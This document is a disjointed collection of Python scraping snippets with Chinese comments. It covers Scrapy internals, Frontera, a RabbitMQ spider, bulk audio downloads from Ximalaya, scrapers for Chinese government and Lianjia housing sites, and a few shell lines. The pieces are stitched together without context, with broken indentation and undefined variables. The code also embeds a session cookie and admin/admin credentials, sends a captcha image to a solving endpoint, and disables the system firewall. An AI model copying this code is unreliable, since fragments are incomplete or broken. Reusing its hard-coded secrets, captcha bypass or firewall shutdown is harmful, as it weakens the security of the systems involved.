url = 'http://xyhz.huizhou.gov.cn/static/js/common/jigsaw/images/{}.jpg'

headers={'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}

async def getPage(num):



    async with aiohttp.ClientSession() as session:

        async with session.get(url.format(num),headers=headers) as resp:

            if resp.status==200:

                f= await aiofiles.open('{}.jpg'.format(num),mode='wb')

                await f.write(await resp.read())

                await f.close()



loop = asyncio.get_event_loop()

tasks = [getPage(i) for i in range(5)]

loop.run_until_complete(asyncio.wait(tasks))

class Command(ScrapyCommand):



    requires_project = True



    def syntax(self):

        return '[options]'



    def short_desc(self):

        return 'Runs all of the spiders - My Defined'



    def run(self,args,opts):

        print('==================')

        print(type(self.crawler_process))

        spider_list = self.crawler_process.spiders.list() # 找到爬虫类



        for name in spider_list:

            print('=================')

            print(name)

            self.crawler_process.crawl(name,**opts.__dict__)



        self.crawler_process.start()

      def __init__(self, settings=None):

        if isinstance(settings, dict) or settings is None:

            settings = Settings(settings)

        self.settings = settings

        self.spider_loader = _get_spider_loader(settings) # 构造爬虫

        self._crawlers = set()

        self._active = set()

        self.bootstrap_failed = False

def _get_spider_loader(settings):



    cls_path = settings.get('SPIDER_LOADER_CLASS')

    

    # settings文件没有定义SPIDER_LOADER_CLASS，所以这里获取到的是系统的默认配置文件，

    # 默认配置文件在接下来的代码块A

    # SPIDER_LOADER_CLASS = 'scrapy.spiderloader.SpiderLoader'    

    

    loader_cls = load_object(cls_path) 

    # 这个函数就是根据路径转为类对象，也就是上面crapy.spiderloader.SpiderLoader 这个

    # 字符串变成一个类对象

    # 具体的load_object 对象代码见下面代码块B



    return loader_cls.from_settings(settings.frozencopy())

# 代码块A

#......省略若干

SCHEDULER = 'scrapy.core.scheduler.Scheduler'

SCHEDULER_DISK_QUEUE = 'scrapy.squeues.PickleLifoDiskQueue'

SCHEDULER_MEMORY_QUEUE = 'scrapy.squeues.LifoMemoryQueue'

SCHEDULER_PRIORITY_QUEUE = 'scrapy.pqueues.ScrapyPriorityQueue'



SPIDER_LOADER_CLASS = 'scrapy.spiderloader.SpiderLoader' 就是这个值

SPIDER_LOADER_WARN_ONLY = False



SPIDER_MIDDLEWARES = {}

# 代码块B 为了方便，我把异常处理的去除

from importlib import import_module #导入第三方库



def load_object(path):

    dot = path.rindex('.') 

    module, name = path[:dot], path[dot+1:]

    # 上面把路径分为基本路径+模块名

    

    mod = import_module(module)

    obj = getattr(mod, name)

    # 获取模块里面那个值

    

    return obj

In [33]: mod = import_module(module)                                                                                                                                             



In [34]: mod                                                                                                                                                                     

Out[34]: <module 'scrapy.spiderloader' from '/home/xda/anaconda3/lib/python3.7/site-packages/scrapy/spiderloader.py'>



In [35]: getattr(mod,name)                                                                                                                                                       

Out[35]: scrapy.spiderloader.SpiderLoader



In [36]: obj = getattr(mod,name)                                                                                                                                                 



In [37]: obj                                                                                                                                                                     

Out[37]: scrapy.spiderloader.SpiderLoader



In [38]: type(obj)                                                                                                                                                               

Out[38]: type

    def from_settings(cls, settings):

        return cls(settings)

class SpiderLoader(object):

    """

    SpiderLoader is a class which locates and loads spiders

    in a Scrapy project.

    """

    def __init__(self, settings):

        self.spider_modules = settings.getlist('SPIDER_MODULES') 

        # 获得settting中的模块名字，创建scrapy的时候就默认帮你生成了

        # 你可以看看你的settings文件里面的内容就可以找到这个值，是一个list

        

        self.warn_only = settings.getbool('SPIDER_LOADER_WARN_ONLY')

        self._spiders = {}

        self._found = defaultdict(list)

        self._load_all_spiders() # 加载所有爬虫

def _load_all_spiders(self):

        for name in self.spider_modules:            



                for module in walk_modules(name): # 这个遍历文件夹里面的文件，然后再转化为类对象，

                    # 保存到字典：self._spiders = {}       

                    self._load_spiders(module) # 模块变成spider



        self._check_name_duplicates() # 去重，如果名字一样就异常

def iter_spider_classes(module):

    from scrapy.spiders import Spider



    for obj in six.itervalues(vars(module)): # 找到模块里面的变量，然后迭代出来

        if inspect.isclass(obj) and \

           issubclass(obj, Spider) and \

           obj.__module__ == module.__name__ and \

           getattr(obj, 'name', None): # 有name属性，继承于Spider

           yield obj

from __future__ import print_function



import re



import requests



from frontera.contrib.requests.manager import RequestsFrontierManager

# from frontera.contrib.requests.manager import RequestsFrontierManager

from frontera import Settings



from six.moves.urllib.parse import urljoin





SETTINGS = Settings()

SETTINGS.BACKEND = 'frontera.contrib.backends.memory.FIFO'

# SETTINGS.BACKEND = 'frontera.contrib.backends.memory.MemoryDistributedBackend'



SETTINGS.LOGGING_MANAGER_ENABLED = True

SETTINGS.LOGGING_BACKEND_ENABLED = True

SETTINGS.MAX_REQUESTS = 100

SETTINGS.MAX_NEXT_REQUESTS = 10



SEEDS = [

    'http://www.imdb.com',

]



LINK_RE = re.compile(r'<a.+?href="(.*?)".?>', re.I)





def extract_page_links(response):

    return [urljoin(response.url, link) for link in LINK_RE.findall(response.text)]



if __name__ == '__main__':



    frontier = RequestsFrontierManager(SETTINGS)

    frontier.add_seeds([requests.Request(url=url) for url in SEEDS])

    while True:

        next_requests = frontier.get_next_requests()

        if not next_requests:

            break

        for request in next_requests:

                try:

                    response = requests.get(request.url)

                    links = [

                        requests.Request(url=url)

                        for url in extract_page_links(response)

                    ]

                    frontier.page_crawled(response)

                    print('Crawled', response.url, '(found', len(links), 'urls)')



                    if links:

                        frontier.links_extracted(request, links)

                except requests.RequestException as e:

                    error_code = type(e).__name__

                    frontier.request_error(request, error_code)

                    print('Failed to process request', request.url, 'Error:', e)

raise NameError("Module '%s' doesn't define any object named '%s'" % (module, name))

NameError: Module 'frontera.contrib.backends.memory' doesn't define any object named 'FIFO'

import re

import requests

import scrapy

from scrapy import Request

from rabbit_spider import settings

from scrapy.log import logger

import json

from rabbit_spider.items import RabbitSpiderItem

import datetime

from scrapy.selector import Selector

import pika



# from scrapy_rabbitmq.spiders import RabbitMQMixin

# from scrapy.contrib.spiders import CrawlSpider



class Website(scrapy.Spider):

    name = "rabbit"



    def start_requests(self):

        headers = {'Accept': '*/*',

                   'Accept-Encoding': 'gzip, deflate, br',

                   'Accept-Language': 'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7',

                   'Host': '36kr.com',

                   'Referer': 'https://36kr.com/information/web_news',

                   'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36'

                   }



        url = 'https://36kr.com/information/web_news'

        



        yield Request(url=url,

                      headers=headers)



    def parse(self, response):

       



        credentials = pika.PlainCredentials('admin', 'admin')

        connection = pika.BlockingConnection(pika.ConnectionParameters('192.168.1.101', 5672, '/', credentials))



        channel = connection.channel()

        channel.exchange_declare(exchange='direct_log', exchange_type='direct')



        result = channel.queue_declare(exclusive=True, queue='')



        queue_name = result.method.queue



        # print(queue_name)

        # infos = sys.argv[1:] if len(sys.argv)>1 else ['info']

        info = 'info'



        # 绑定多个值



        channel.queue_bind(

            exchange='direct_log',

            routing_key=info,

            queue=queue_name

        )

        print('start to receive [{}]'.format(info))



        channel.basic_consume(

            on_message_callback=self.callback_func,

            queue=queue_name,

            auto_ack=True,

        )



        channel.start_consuming()





    def callback_func(self, ch, method, properties, body):

        print(body)

from scrapy import cmdline

cmdline.execute('scrapy crawl rabbit'.split())

import pika

import settings



credentials = pika.PlainCredentials('admin','admin')

connection = pika.BlockingConnection(pika.ConnectionParameters('192.168.1.101',5672,'/',credentials))



channel = connection.channel()

channel.exchange_declare(exchange='direct_log',exchange_type='direct') # fanout 就是组播



routing_key = 'info'

message='https://36kr.com/pp/api/aggregation-entity?type=web_latest_article&b_id=59499&per_page=30'

channel.basic_publish(

	exchange='direct_log',

	routing_key=routing_key,

	body=message

	)



print('sending message {}'.format(message))

connection.close()

Twisted-16.7.0 is coming soon, and it deprecates twisted.web.client.getPage (and client.HTTPClientFactory). We use these in some of the unit tests, to fetch one of the HTTP WAPI/WUI pages and make sure the contents look right.

We need to change these tests to use twisted.web.client.Agent instead, or a package named "treq", which is a Twisted flavor of the excellent (but blocking) requests library.

# -*- coding: utf-8 -*-

# website: http://30daydo.com

# @Time : 2019/6/30 12:03

# @File : main.py



import requests

import re

import os



url = 'http://180.153.255.6/mobile/v1/album/track/ts-1571294887744?albumId=23057324&device=android&isAsc=true&isQueryInvitationBrand=true&pageId={}&pageSize=20&pre_page=0'

headers = {'User-Agent': 'Xiaomi'}



def download():

    for i in range(1, 3):

        r = requests.get(url=url.format(i), headers=headers)

        js_data = r.json()

        data_list = js_data.get('data', {}).get('list', [])

        for item in data_list:

            trackName = item.get('title')

            trackName = re.sub('[\/\\\:\*\?\"\<\>\|]', '_', trackName)

            # trackName=re.sub(':','',trackName)

            src_url = item.get('playUrl64')

            filename = '{}.mp3'.format(trackName)

            if not os.path.exists(filename):



                try:

                    r0 = requests.get(src_url, headers=headers)

                except Exception as e:

                    print(e)

                    print(trackName)

                    r0 = requests.get(src_url, headers=headers)





                else:

                    with open(filename, 'wb') as f:

                        f.write(r0.content)



                    print('{} downloaded'.format(trackName))



            else:

                print(f'{filename}已经下载过了')



import shutil



def rename_():

    for i in range(1, 3):

        r = requests.get(url=url.format(i), headers=headers)

        js_data = r.json()

        data_list = js_data.get('data', {}).get('list', [])

        for item in data_list:

            trackName = item.get('title')

            trackName = re.sub('[\/\\\:\*\?\"\<\>\|]', '_', trackName)

            src_url = item.get('playUrl64')



            orderNo=item.get('orderNo')



            filename = '{}.mp3'.format(trackName)

            try:



                if os.path.exists(filename):

                    new_file='{}_{}.mp3'.format(orderNo,trackName)

                    shutil.move(filename,new_file)

            except Exception as e:

                print(e)











if __name__=='__main__':

    rename_()

# -*- coding: utf-8 -*-

# website: http://30daydo.com

# @Time : 2019/6/30 12:03

# @File : main.py



import requests

import re

url = 'https://www.ximalaya.com/revision/play/album?albumId=23057324&pageNum=1&sort=1&pageSize=60'

headers={'User-Agent':'Xiaomi'}



r = requests.get(url=url,headers=headers)

js_data = r.json()

data_list = js_data.get('data',{}).get('tracksAudioPlay',)

for item in data_list:

    trackName=item.get('trackName')

    trackName=re.sub(':','',trackName)

    src_url = item.get('src')

    try:

        r0=requests.get(src_url,headers=headers)

    except Exception as e:

        print(e)

        print(trackName)

    else:

        with open('{}.m4a'.format(trackName),'wb') as f:

            f.write(r0.content)

        print('{} downloaded'.format(trackName))

    file_path=r'9927_15562445086485238.png'

    file=open(file_path, 'rb').read()

    r=requests.post(url=code_url,data=file)

    print(r.text)

js=re.sub('\r\n','',js)

import aiohttp

import asyncio



page = 30



post_data = {

    'page': 1,

    'pageSize': 10,

    'keyWord': '',

    'dpIds': '',

}



headers = {

    "Accept": "application/json, text/javascript, */*; q=0.01",

    "Accept-Encoding": "gzip, deflate",

    "Accept-Language": "en-US,en;q=0.9",

    "Connection": "keep-alive",

    "Content-Length": "34",

    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",

    "Cookie": "secure; JSESSIONID=8NGWetn7NWF7Hb-SSkrbbzGDbYQzmNM_gjKj8wql4PXn2uc7ruv0!-96282387; __jsluid=72f938f1aa890b0ab98d726eb9d7d36f; Hm_lvt_606ad402d71f074871f1daa788ba943d=1557302782; Hm_lpvt_606ad402d71f074871f1daa788ba943d=1557302788",

    "Host": "credit.chaozhou.gov.cn",

    "Origin": "http://credit.chaozhou.gov.cn",

    "Referer": "http://credit.chaozhou.gov.cn/ ... ot%3B,

    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36",

    "X-Requested-With": "XMLHttpRequest",

}



result=[]





async def fetch(session,url, data):

    async with session.post(url=url, data=data, headers=headers) as response:

        return await response.json()



async def parse(html):

    xzcf_list = html.get('newtxzcfList')

    if xzcf_list is None:

        return

    for i in xzcf_list:

        result.append(i)



async def downlod(page):

    data=post_data.copy()

    data['page']=page

    url = 'http://credit.chaozhou.gov.cn/tfieldTypeActionJson!initXzcfListnew.do'

    async with aiohttp.ClientSession() as session:

            html=await fetch(session,url,data)

            await parse(html)



loop = asyncio.get_event_loop()

tasks=[asyncio.ensure_future(downlod(i)) for i in range(1,page)]

tasks=asyncio.gather(*tasks)

# print(tasks)

loop.run_until_complete(tasks)

# loop.close()

# print(result)

count=0

for i in result:

    print(i.get('cfXdrMc'))

    count+=1

print(f'total {count}')

import requests

from lxml import etree

import asyncio

import aiohttp

import pandas

import re

import math

import time



loction_info = '''    1→杭州

    2→武汉

    3→北京

    按ENTER确认：'''

loction_select = input(loction_info)

loction_dic = {'1': 'hz',

               '2': 'wh',

               '3': 'bj'}

city_url = 'https://{}.lianjia.com/ershoufang/'.format(loction_dic[loction_select])

down = input('请输入价格下限（万）:')

up = input('请输入价格上限（万）:')



inter_list = [(int(down), int(up))]





def half_inter(inter):

    lower = inter[0]

    upper = inter[1]

    delta = int((upper - lower) / 2)

    inter_list.remove(inter)

    print('已经缩小价格区间', inter)

    inter_list.append((lower, lower + delta))

    inter_list.append((lower + delta, upper))





pagenum = {}





def get_num(inter):

    url = city_url + 'bp{}ep{}/'.format(inter[0], inter[1])

    r = requests.get(url).text

    print(r)

    num = int(etree.HTML(r).xpath("//h2[@class='total fl']/span/text()")[0].strip())

    pagenum[(inter[0], inter[1])] = num

    return num





totalnum = get_num(inter_list[0])



judge = True

while judge:

    a = [get_num(x) > 3000 for x in inter_list]

    if True in a:

        judge = True

    else:

        judge = False

    for i in inter_list:

        if get_num(i) > 3000:

            half_inter(i)

print('价格区间缩小完毕！')



url_lst = []

url_lst_failed = []

url_lst_successed = []

url_lst_duplicated = []



for i in inter_list:

    totalpage = math.ceil(pagenum[i] / 30)

    for j in range(1, totalpage + 1):

        url = city_url + 'pg{}bp{}ep{}/'.format(j, i[0], i[1])

        url_lst.append(url)

print('url列表获取完毕！')



info_lst = []





async def get_info(url):

    async with aiohttp.ClientSession() as session:

        async with session.get(url, timeout=5) as resp:

            if resp.status != 200:

                url_lst_failed.append(url)

            else:

                url_lst_successed.append(url)

            r = await resp.text()

            nodelist = etree.HTML(r).xpath("//ul[@class='sellListContent']/li")

            # print('-------------------------------------------------------------')

            # print('开始抓取第{}个页面的数据,共计{}个页面'.format(url_lst.index(url),len(url_lst)))

            # print('开始抓取第{}个页面的数据,共计{}个页面'.format(url_lst.index(url), len(url_lst)))

            # print('开始抓取第{}个页面的数据,共计{}个页面'.format(url_lst.index(url), len(url_lst)))

            # print('-------------------------------------------------------------')

            info_dic = {}

            index = 1

            print('开始抓取{}'.format(resp.url))

            print('开始抓取{}'.format(resp.url))

            print('开始抓取{}'.format(resp.url))

            for node in nodelist:

                try:

                    info_dic['title'] = node.xpath(".//div[@class='title']/a/text()")[0]

                except:

                    info_dic['title'] = '/'

                try:

                    info_dic['href'] = node.xpath(".//div[@class='title']/a/@href")[0]

                except:

                    info_dic['href'] = '/'

                try:

                    info_dic['xiaoqu'] = \

                    node.xpath(".//div[@class='houseInfo']")[0].xpath('string(.)').replace(' ', '').split('|')[0]

                except:

                    info_dic['xiaoqu'] = '/'

                try:

                    info_dic['huxing'] = \

                    node.xpath(".//div[@class='houseInfo']")[0].xpath('string(.)').replace(' ', '').split('|')[1]

                except:

                    info_dic['huxing'] = '/'

                try:

                    info_dic['area'] = \

                    node.xpath(".//div[@class='houseInfo']")[0].xpath('string(.)').replace(' ', '').split('|')[2]

                except:

                    info_dic['area'] = '/'

                try:

                    info_dic['chaoxiang'] = \

                    node.xpath(".//div[@class='houseInfo']")[0].xpath('string(.)').replace(' ', '').split('|')[3]

                except:

                    info_dic['chaoxiang'] = '/'

                try:

                    info_dic['zhuangxiu'] = \

                    node.xpath(".//div[@class='houseInfo']")[0].xpath('string(.)').replace(' ', '').split('|')[4]

                except:

                    info_dic['zhuangxiu'] = '/'

                try:

                    info_dic['dianti'] = \

                    node.xpath(".//div[@class='houseInfo']")[0].xpath('string(.)').replace(' ', '').split('|')[5]

                except:

                    info_dic['dianti'] = '/'

                try:

                    info_dic['louceng'] = re.findall('\((.*)\)', node.xpath(".//div[@class='positionInfo']/text()")[0])

                except:

                    info_dic['louceng'] = '/'

                try:

                    info_dic['nianxian'] = re.findall('\)(.*?)年', node.xpath(".//div[@class='positionInfo']/text()")[0])

                except:

                    info_dic['nianxian'] = '/'

                try:

                    info_dic['guanzhu'] = ''.join(re.findall('[0-9]', node.xpath(".//div[@class='followInfo']/text()")[

                        0].replace(' ', '').split('/')[0]))

                except:

                    info_dic['guanzhu'] = '/'

                try:

                    info_dic['daikan'] = ''.join(re.findall('[0-9]',

                                                            node.xpath(".//div[@class='followInfo']/text()")[0].replace(

                                                                ' ', '').split('/')[1]))

                except:

                    info_dic['daikan'] = '/'

                try:

                    info_dic['fabu'] = node.xpath(".//div[@class='followInfo']/text()")[0].replace(' ', '').split('/')[

                        2]

                except:

                    info_dic['fabu'] = '/'

                try:

                    info_dic['totalprice'] = node.xpath(".//div[@class='totalPrice']/span/text()")[0]

                except:

                    info_dic['totalprice'] = '/'

                try:

                    info_dic['unitprice'] = node.xpath(".//div[@class='unitPrice']/span/text()")[0].replace('单价', '')

                except:

                    info_dic['unitprice'] = '/'

                if True in [info_dic['href'] in dic.values() for dic in info_lst]:

                    url_lst_duplicated.append(info_dic)

                else:

                    info_lst.append(info_dic)

                print('第{}条:    {}→房屋信息抓取完毕！'.format(index, info_dic['title']))

                index += 1

                info_dic = {}





start = time.time()



# 首次抓取url_lst中的信息，部分url没有对其发起请求，不知道为什么

tasks = [asyncio.ensure_future(get_info(url)) for url in url_lst]

loop = asyncio.get_event_loop()

loop.run_until_complete(asyncio.wait(tasks))



# 将没有发起请求的url放入一个列表，对其进行循环抓取，直到所有url都被发起请求

url_lst_unrequested = []

for url in url_lst:

    if url not in url_lst_successed or url_lst_failed:

        url_lst_unrequested.append(url)

while len(url_lst_unrequested) > 0:

    tasks_unrequested = [asyncio.ensure_future(get_info(url)) for url in url_lst_unrequested]

    loop.run_until_complete(asyncio.wait(tasks_unrequested))

    url_lst_unrequested = []

    for url in url_lst:

        if url not in url_lst_successed:

            url_lst_unrequested.append(url)

end = time.time()

print('当前价格区间段内共有{}套二手房源\(包含{}条重复房源\),实际获得{}条房源信息。'.format(totalnum, len(url_lst_duplicated), len(info_lst)))

print('总共耗时{}秒'.format(end - start))



df = pandas.DataFrame(info_lst)

df.to_csv("ljwh.csv", encoding='gbk')

./kafka-server-start.sh -daemon ../config/server.properties

systemctl stop firewalld.service #关闭防火墙

systemctl disable firewalld.service #禁止启动防火墙